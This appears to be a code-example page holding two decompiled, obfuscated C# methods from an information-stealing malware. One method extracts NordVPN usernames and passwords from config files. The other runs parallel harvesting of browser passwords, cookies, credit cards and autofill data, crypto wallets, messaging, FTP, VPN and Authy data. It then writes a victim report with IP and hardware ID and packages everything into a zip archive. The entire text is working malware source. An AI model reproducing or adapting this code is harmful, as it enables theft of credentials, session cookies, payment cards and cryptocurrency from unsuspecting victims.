Beispiel #1
0
 // Token: 0x0600001B RID: 27 RVA: 0x00002ED4 File Offset: 0x000010D4
 public static void pmethod_9(string str_0)
 {
     try
     {
         if (Directory.Exists(Class_47.\u0349\u0308t\u0324\u0329\u0306\u033Ae\u0340\u0341\u036B\u0351\u0E47c\u0363\u0363xrkhflctjjgrafhq\u036A\u0E47\u0302\u0368\u0020\u032C\u035E\u0349\u0359\u0020\u0020\u0489\u0333\u030C\u0347\u032Cdfodarkersxinukm + "\\NordVPN\\"))
         {
             Directory.CreateDirectory(str_0 + Class_7.field_1);
             DirectoryInfo directoryInfo = new DirectoryInfo(Path.Combine(Class_47.\u0349\u0308t\u0324\u0329\u0306\u033Ae\u0340\u0341\u036B\u0351\u0E47c\u0363\u0363xrkhflctjjgrafhq\u036A\u0E47\u0302\u0368\u0020\u032C\u035E\u0349\u0359\u0020\u0020\u0489\u0333\u030C\u0347\u032Cdfodarkersxinukm, "NordVPN"));
             if (directoryInfo.Exists)
             {
                 string          text        = "";
                 DirectoryInfo[] directories = directoryInfo.GetDirectories("NordVpn.exe*");
                 for (int i = 0; i < directories.Length; i++)
                 {
                     foreach (DirectoryInfo directoryInfo2 in directories[i].GetDirectories())
                     {
                         text = text + "\tFound version " + directoryInfo2.Name + Environment.NewLine;
                         string text2 = Path.Combine(directoryInfo2.FullName, "user.config");
                         if (File.Exists(text2))
                         {
                             XmlDocument xmlDocument = new XmlDocument();
                             xmlDocument.Load(text2);
                             string innerText  = xmlDocument.SelectSingleNode("//setting[@name='Username']/value").InnerText;
                             string innerText2 = xmlDocument.SelectSingleNode("//setting[@name='Password']/value").InnerText;
                             if (innerText != null && !string.IsNullOrEmpty(innerText))
                             {
                                 text = text + "\t\tUsername: "******"\t\tPassword: "******"\\Account.txt", Class_47.RC4(Encoding.UTF8.GetBytes(text)));
             }
         }
     }
     catch
     {
     }
 }
Beispiel #2
0
        // Token: 0x06000126 RID: 294 RVA: 0x0000C0D0 File Offset: 0x0000A2D0
        public static void GetCollection()
        {
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals1 = new Class_53.< > c__DisplayClass6_0();
            Directory.CreateDirectory(Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm);
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals2 = CS$ < > 8__locals1;
            Task[] array = new Task[1];
            array[0] = new Task(delegate()
            {
                Class_57.a();
            });
            CS$ < > 8__locals2.t0 = array;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals3 = CS$ < > 8__locals1;
            Task[] array2 = new Task[1];
            array2[0] = new Task(delegate()
            {
                Class_53.GetChromium();
            });
            CS$ < > 8__locals3.t1 = array2;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals4 = CS$ < > 8__locals1;
            Task[] array3 = new Task[1];
            array3[0] = new Task(delegate()
            {
                Class_53.GetGecko();
            });
            CS$ < > 8__locals4.t2 = array3;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals5 = CS$ < > 8__locals1;
            Task[] array4 = new Task[1];
            array4[0] = new Task(delegate()
            {
                Class_113.tmethod_412(Class_47.\u035A\u0020\u0359\u0E47\u0366\u0349\u0320\u0348\u034A\u0341\u0339\u034B\u0020\u032F\u0306\u0020zqzxlmywryhyzjxq\u0E47\u0020\u0349\u0315\u0E47\u0324\u0340i\u0303\u033C\u0E47\u0020\u0345\u035C\u034E\u0307aibpggrwzsglawli);
            });
            CS$ < > 8__locals5.t3 = array4;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals6 = CS$ < > 8__locals1;
            Task[] array5 = new Task[1];
            array5[0] = new Task(delegate()
            {
                Class_56.gmethod_153(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals6.t4 = array5;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals7 = CS$ < > 8__locals1;
            Task[] array6 = new Task[1];
            array6[0] = new Task(delegate()
            {
                Class_13.gmethod_33(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals7.t5 = array6;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals8 = CS$ < > 8__locals1;
            Task[] array7 = new Task[1];
            array7[0] = new Task(delegate()
            {
                Class_3.tmethod_2(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals8.t6 = array7;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals9 = CS$ < > 8__locals1;
            Task[] array8 = new Task[1];
            array8[0] = new Task(delegate()
            {
                Class_10.xmethod_31(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals9.t7 = array8;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals10 = CS$ < > 8__locals1;
            Task[] array9 = new Task[1];
            array9[0] = new Task(delegate()
            {
                Class_91.dmethod_256(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals10.t8 = array9;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals11 = CS$ < > 8__locals1;
            Task[] array10 = new Task[1];
            array10[0] = new Task(delegate()
            {
                Class_7.pmethod_9(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals11.t9 = array10;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals12 = CS$ < > 8__locals1;
            Task[] array11 = new Task[1];
            array11[0] = new Task(delegate()
            {
                Class_17.cmethod_44(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals12.t11 = array11;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals13 = CS$ < > 8__locals1;
            Task[] array12 = new Task[1];
            array12[0] = new Task(delegate()
            {
                Class_54.xmethod_151(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals13.t12 = array12;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals14 = CS$ < > 8__locals1;
            Task[] array13 = new Task[1];
            array13[0] = new Task(delegate()
            {
                Class_14.vmethod_35(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals14.t13 = array13;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals15 = CS$ < > 8__locals1;
            Task[] array14 = new Task[1];
            array14[0] = new Task(delegate()
            {
                Class_11.tmethod_32(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr);
            });
            CS$ < > 8__locals15.t14 = array14;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals16 = CS$ < > 8__locals1;
            Task[] array15 = new Task[1];
            array15[0] = new Task(delegate()
            {
                Class_96.vmethod_265();
            });
            CS$ < > 8__locals16.t15 = array15;
            Class_53.< > c__DisplayClass6_0 CS$ < > 8__locals17 = CS$ < > 8__locals1;
            Task[] array16 = new Task[1];
            array16[0] = new Task(delegate()
            {
                Class_83.kmethod_247();
            });
            CS$ < > 8__locals17.t16 = array16;
            try
            {
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t0;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t1;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t2;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t3;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t4;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t5;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t6;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t7;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t8;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t9;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t11;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t12;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t13;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t14;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t15;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                new Thread(delegate()
                {
                    Task[] t = CS$ < > 8__locals1.t16;
                    for (int i = 0; i < t.Length; i++)
                    {
                        t[i].Start();
                    }
                }).Start();
                Task.WaitAll(CS$ < > 8__locals1.t0);
                Task.WaitAll(CS$ < > 8__locals1.t1);
                Task.WaitAll(CS$ < > 8__locals1.t2);
                Task.WaitAll(CS$ < > 8__locals1.t3);
                Task.WaitAll(CS$ < > 8__locals1.t4);
                Task.WaitAll(CS$ < > 8__locals1.t5);
                Task.WaitAll(CS$ < > 8__locals1.t6);
                Task.WaitAll(CS$ < > 8__locals1.t7);
                Task.WaitAll(CS$ < > 8__locals1.t8);
                Task.WaitAll(CS$ < > 8__locals1.t9);
                Task.WaitAll(CS$ < > 8__locals1.t11);
                Task.WaitAll(CS$ < > 8__locals1.t12);
                Task.WaitAll(CS$ < > 8__locals1.t13);
                Task.WaitAll(CS$ < > 8__locals1.t14);
                Task.WaitAll(CS$ < > 8__locals1.t15);
                Task.WaitAll(CS$ < > 8__locals1.t16);
            }
            catch
            {
            }
            GC.Collect();
            try
            {
                Class_2.xmethod_1(Class_47.\u0369ส\u033E\u0020\u035A\u0302\u0317\u0E47\u0340\u0E47\u035A\u0E47\u0E47\u0306\u0343\u0020pgdvbwunpknbmfun\u036B\u0020\u0E47\u0343\u0330\u0308\u0331\u0E47\u0020\u0329\u0342\u0342\u0367\u030B\u0306\u0353vsdojrfcpthshyaq);
            }
            catch
            {
            }
            try
            {
                Class_57.b();
                Class_93.Copy();
            }
            catch
            {
            }
            Class_5.field_4.Clear();
            Class_5.field_5.Clear();
            Class_5.field_6.Clear();
            GC.Collect();
            string s = string.Concat(new string[]
            {
                "<!DOCTYPE html>\n<html>\n<body>\n<style>\nbody {\nbackground-image: url('https://steamcdn-a.akamaihd.net/steamcommunity/public/images/items/383690/f7a121a3f7a929ffb4dbc3ae241b3b4b6eaaed1d.jpg');\nbackground-repeat: no-repeat;\nbackground-attachment: fixed;\nbackground-size: 100% 100%;\n}\n</style>\n<center>\n<h1 style=\"color:white\">",
                Class_103.field_0,
                "</h1>\n<p style=\"color:white\">\ud83d\udc64 ",
                Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
                "/",
                Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
                "</p>\n<p style=\"color:white\">\ud83c\udff4 IP: ",
                Class_47.IP(),
                Class_47.Country(),
                Class_47.checc(),
                "</p>\n<h2 style=\"color:white\">\ud83c\udf10 Browsers Data</h2>\n<p style=\"color:white;margin-left:-6em\">   ∟\ud83d\udd11</p>\n<p style=\"color:white;margin-left:3em\">     ∟Chromium: ",
                Class_49.field_1.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-1.5em\">     ∟Edge: ",
                Class_113.field_0.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-0.9em\">     ∟Gecko: ",
                Class_78.\u0340\u035A\u0020\u0020\u0320\u034E\u035Ct\u033C\u030C\u0361\u0329\u0338\u0342\u032E\u0E47vktldwvagjgorsqs\u0020\u033F\u0339\u0020\u0342\u0489\u0342\u0342\u0309\u0308\u0358\u0348\u0329\u035C\u0310ixunljsevrvauyudk.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-4em\">   ∟\ud83c\udf6a",
                (Class_49.field_4 + Class_78.\u036B\u034B\u031F\u031D\u0E47\u031C\u0301\u034E\u0353\u0306\u0347\u033D\u0331\u0353\u0343\u0020hupvdimgmomeaylzst\u0303\u035D\u033F\u035B\u0309\u0020\u032E\u032F\u0348\u0359\u034B\u0020\u0489\u035Blscnvhohzjystpki).ToString(),
                "</p>\n<p style=\"color:white;margin-left:-4em\">   ∟\ud83d\udd51",
                Class_49.field_5.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-4.5em\">   ∟\ud83d\udcdd",
                Class_49.field_2.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-5.5em\">   ∟\ud83d\udcb3",
                Class_49.field_6.ToString(),
                "</p>\n<p style=\"color:white;margin-left:-4.8em\">   ∟⨭",
                Class_49.field_3.ToString(),
                "</p>\n<p style=\"color:white\">\ud83d\udcb6 Wallets: ",
                (Class_54.field_0 > 0) ? "✅" : "❌",
                (Class_79.field_0 > 0) ? " Electrum" : "",
                (Class_73.field_0 > 0) ? " Armory" : "",
                (Class_4.field_0 > 0) ? " Atomic" : "",
                (Class_20.field_0 > 0) ? " BitcoinCore" : "",
                (Class_80.field_0 > 0) ? " Bytecoin" : "",
                (Class_94.field_0 > 0) ? " DashCore" : "",
                (Class_18.field_0 > 0) ? " Ethereum" : "",
                (Class_90.field_0 > 0) ? " Exodus" : "",
                (Class_6.field_0 > 0) ? " LitecoinCore" : "",
                (Class_55.field_0 > 0) ? " Monero" : "",
                (Class_89.field_0 > 0) ? " Zcash" : "",
                (Class_15.field_0 > 0) ? " Jaxx" : "",
                "</p>\n<p style=\"color:white\">\ud83d\udcc2 FileGrabber: ",
                Class_5.field_1.ToString(),
                "</p>\n<p style=\"color:white\">\ud83d\udcb0 Recursive Wallets: ",
                Class_5.field_3.ToString(),
                "</p>\n<p style=\"color:white\">\ud83d\udda5 RDP: ",
                Class_5.field_2.ToString(),
                "</p>\n<p style=\"color:white\">\ud83d\udcac Discord: ",
                (Class_17.field_0 > 0) ? "✅" : "❌",
                "</p>\n<p style=\"color:white\">✈️ Telegram: ",
                (Class_96.field_0 > 0) ? "✅" : "❌",
                "</p>\n<p style=\"color:white\">\ud83d\udca1 Jabber: ",
                (Class_11.field_0 + Class_74.field_0 > 0) ? "✅" : "❌",
                (Class_74.field_0 > 0) ? (" Pidgin (" + Class_74.field_1.ToString() + ")") : "",
                (Class_11.field_0 > 0) ? " Psi" : "",
                "</p>\n<h2 style=\"color:white\">\ud83d\udce1 FTP</h2>\n<p style=\"color:white\">   ∟ FileZilla: ",
                (Class_13.field_0 > 0) ? ("✅ (" + Class_13.field_0.ToString() + ")") : "❌",
                "</p>\n<p style=\"color:white\">   ∟ TotalCmd: ",
                (Class_3.field_0 > 0) ? "✅" : "❌",
                "</p>\n<h2 style=\"color:white\">\ud83d\udd0c VPN</h2>\n<p style=\"color:white\">   ∟ NordVPN: ",
                (Class_7.field_0 > 0) ? "✅" : "❌",
                "</p>\n<p style=\"color:white\">   ∟ OpenVPN: ",
                (Class_91.field_0 > 0) ? "✅" : "❌",
                "</p>\n<p style=\"color:white\">   ∟ ProtonVPN: ",
                (Class_10.field_0 > 0) ? "✅" : "❌",
                "</p>\n<p style=\"color:white\">\ud83c\udd94 HWID: ",
                Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz,
                "</p>\n<p style=\"color:white\">⚙️ ",
                Class_14.smethod_40(),
                "</p>\n<p style=\"color:white\">\ud83d\udd0e ",
                Class_53.\u0020\u0313\u0353\u0020\u0E47\u031A\u0353\u0329\u033C\u0344\u034D\u0020\u0363\u036F\u031A\u0301awhgtmkxagkekicb\u0313\u0020\u0354\u032D\u035C\u0E47\u031A\u035Bt\u036B\u0E47\u036B\u0307\u035C\u0313\u0020riftwyloclvluvlf,
                "</p>\n</center>\n</body>\n</html>"
            });
            string s2 = string.Concat(new string[]
            {
                Class_103.field_0,
                "\nComputer: ",
                Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
                "/",
                Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
                "\nIP: ",
                Class_47.IP(),
                Class_47.Country(),
                Class_47.checc(),
                "\nBrowsers Data\n   ∟Passwords:\n     ∟Chromium: ",
                Class_49.field_1.ToString(),
                "\n     ∟Edge: ",
                Class_113.field_0.ToString(),
                "\n     ∟Gecko: ",
                Class_78.\u0340\u035A\u0020\u0020\u0320\u034E\u035Ct\u033C\u030C\u0361\u0329\u0338\u0342\u032E\u0E47vktldwvagjgorsqs\u0020\u033F\u0339\u0020\u0342\u0489\u0342\u0342\u0309\u0308\u0358\u0348\u0329\u035C\u0310ixunljsevrvauyudk.ToString(),
                "\n   ∟Cookies:",
                (Class_49.field_4 + Class_78.\u036B\u034B\u031F\u031D\u0E47\u031C\u0301\u034E\u0353\u0306\u0347\u033D\u0331\u0353\u0343\u0020hupvdimgmomeaylzst\u0303\u035D\u033F\u035B\u0309\u0020\u032E\u032F\u0348\u0359\u034B\u0020\u0489\u035Blscnvhohzjystpki).ToString(),
                "\n   ∟History:",
                Class_49.field_5.ToString(),
                "\n   ∟Autofills:",
                Class_49.field_2.ToString(),
                "\n   ∟CC:",
                Class_49.field_6.ToString(),
                "\n   ∟Downloads:",
                Class_49.field_3.ToString(),
                "\nWallets: ",
                (Class_54.field_0 > 0) ? "Yes" : "No",
                (Class_79.field_0 > 0) ? " Electrum" : "",
                (Class_73.field_0 > 0) ? " Armory" : "",
                (Class_4.field_0 > 0) ? " Atomic" : "",
                (Class_20.field_0 > 0) ? " BitcoinCore" : "",
                (Class_80.field_0 > 0) ? " Bytecoin" : "",
                (Class_94.field_0 > 0) ? " DashCore" : "",
                (Class_18.field_0 > 0) ? " Ethereum" : "",
                (Class_90.field_0 > 0) ? " Exodus" : "",
                (Class_6.field_0 > 0) ? " LitecoinCore" : "",
                (Class_55.field_0 > 0) ? " Monero" : "",
                (Class_89.field_0 > 0) ? " Zcash" : "",
                (Class_15.field_0 > 0) ? " Jaxx" : "",
                "\nFileGrabber: ",
                Class_5.field_1.ToString(),
                "\nRecursive Wallets: ",
                Class_5.field_3.ToString(),
                "\nRDP: ",
                Class_5.field_2.ToString(),
                "\nDiscord: ",
                (Class_17.field_0 > 0) ? "Yes" : "No",
                "\nTelegram: ",
                (Class_96.field_0 > 0) ? "Yes" : "No",
                "\nJabber: ",
                (Class_11.field_0 + Class_74.field_0 > 0) ? "Yes" : "No",
                (Class_74.field_0 > 0) ? (" Pidgin (" + Class_74.field_1.ToString() + ")") : "",
                (Class_11.field_0 > 0) ? " Psi" : "",
                "\nFTP\n   ∟ FileZilla: ",
                (Class_13.field_0 > 0) ? ("Yes (" + Class_13.field_0.ToString() + ")") : "No",
                "\n   ∟ TotalCmd: ",
                (Class_3.field_0 > 0) ? "Yes" : "No",
                "\nVPN\n   ∟ NordVPN: ",
                (Class_7.field_0 > 0) ? "Yes" : "No",
                "\n   ∟ OpenVPN: ",
                (Class_91.field_0 > 0) ? "Yes" : "No",
                "\n   ∟ ProtonVPN: ",
                (Class_10.field_0 > 0) ? "Yes" : "No",
                "\nHWID: ",
                Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz,
                "\nDomains: ",
                Class_53.\u0020\u0313\u0353\u0020\u0E47\u031A\u0353\u0329\u033C\u0344\u034D\u0020\u0363\u036F\u031A\u0301awhgtmkxagkekicb\u0313\u0020\u0354\u032D\u035C\u0E47\u031A\u035Bt\u036B\u0E47\u036B\u0307\u035C\u0313\u0020riftwyloclvluvlf
            });

            Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Information.html", Class_47.RC4(Encoding.UTF8.GetBytes(s)));
            Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln.Add(Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Information_Simplified.txt", Class_47.RC4(Encoding.UTF8.GetBytes(s2)));
            string str_ = string.Concat(new string[]
            {
                Class_47.\u035A\u030C\u036Bc\u0326\u0020\u031D\u0331\u035E\u0020\u0020\u030D\u0020\u0368\u034Dtgxjqsczmshvyescj\u0367\u0339\u0309\u0310\u0349\u0309\u035D\u0020\u0020\u0333\u0E47t\u0326\u0355\u033C\u0339qftvsdyuclitenhm,
                "\\",
                Class_47.\u034A\u0367\u0320\u030E\u0E47\u0356\u0E47\u0020\u0E47\u035E\u033A\u0307\u0364\u0325\u033A\u0347wojyhmunazhfiuxb\u0320\u036B\u0347\u035D\u0313\u0332\u036F\u034D\u0331\u031A\u0340\u036A\u0366\u035C\u0364\u0308xbwcnquhcfkvrrhm,
                "_",
                Class_47.\u0020\u032C\u0320\u0320\u0020\u0020\u035A\u035C\u0333\u030C\u0020\u0369t\u0363\u0E47สhjbpdmmozxipixxd\u0020\u035C\u0020\u0316\u0348\u0489\u0489\u0332\u0324\u0020\u0020\u0317\u0356\u0359\u035A\u033Cukafaffmbwlfhjuf,
                Class_47.CountryCOde(),
                ".zip"
            });

            using (Class_168 class_ = new Class_168(Encoding.GetEncoding("cp866")))
            {
                class_.prop_34 = -1L;
                class_.prop_17 = Class_169.Always;
                class_.prop_9  = Class_202.BestCompression;
                class_.prop_27 = Class_84.\u031D\u036F\u035C\u0345\u0363\u036F\u035C\u036D\u0325\u0343\u034C\u034A\u030D\u0323\u0020\u033Cozrlltgxsptyshzx\u032A\u0343\u0359\u035A\u0323\u0E47\u0340\u0313\u0328\u0351\u0349\u0320t\u0E47\u0331\u032Fyopertjvrnpgnfxb;
                foreach (KeyValuePair <string, byte[]> keyValuePair in Class_53.\u0347\u0020\u0328\u0020\u0369\u0E47h\u0364\u0358\u036D\u036B\u0324\u0322\u0E47\u031F\u0369qhgddlayjusqyuib\u0353c\u0347\u036Dr\u0020\u0E47\u0356\u0356\u0332\u036D\u0347\u0325\u030E\u0E47\u0356gugwsaxccacjclln)
                {
                    class_.vmethod_775(keyValuePair.Key, Class_47.RC4(keyValuePair.Value));
                }
                foreach (KeyValuePair <string, string> keyValuePair2 in Class_53.\u0324\u0020\u0327\u0348\u0333\u0305\u0345\u0329\u0348\u0E47\u0020\u0335\u0E47\u0316\u0302\u0320ywdncahgxwtxiviz\u0352\u0349\u0323\u0320\u0369\u031F\u0358\u033F\u0E47\u0332\u0020\u0020\u0E47\u0327\u0E47\u0020iilbfxumjrfxqonp)
                {
                    try
                    {
                        class_.pmethod_749(keyValuePair2.Key, keyValuePair2.Value);
                    }
                    catch
                    {
                    }
                }
                if (Class_96.field_2 != null)
                {
                    class_.lmethod_778(Class_96.field_2, Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Telegram");
                }
                if (Class_83.field_0 != null)
                {
                    class_.lmethod_778(Class_83.field_0, Class_47.\u0337\u0329\u035A\u0341t\u033C\u0020\u034E\u035B\u0322\u0313\u0308\u0320\u0367\u0329\u0359yotlhmdsspprsbmv\u0020\u0315\u0369\u0020\u0363\u034C\u0020\u0308\u035E\u0368\u0020\u030E\u0307\u033C\u0367\u0020jzrebbgywcogvccr + "\\Authy");
                }
                class_.smethod_930(str_);
                Class_47.DeleteDirectory(Class_96.field_2);
                Class_47.DeleteDirectory(Class_83.field_0);
            }
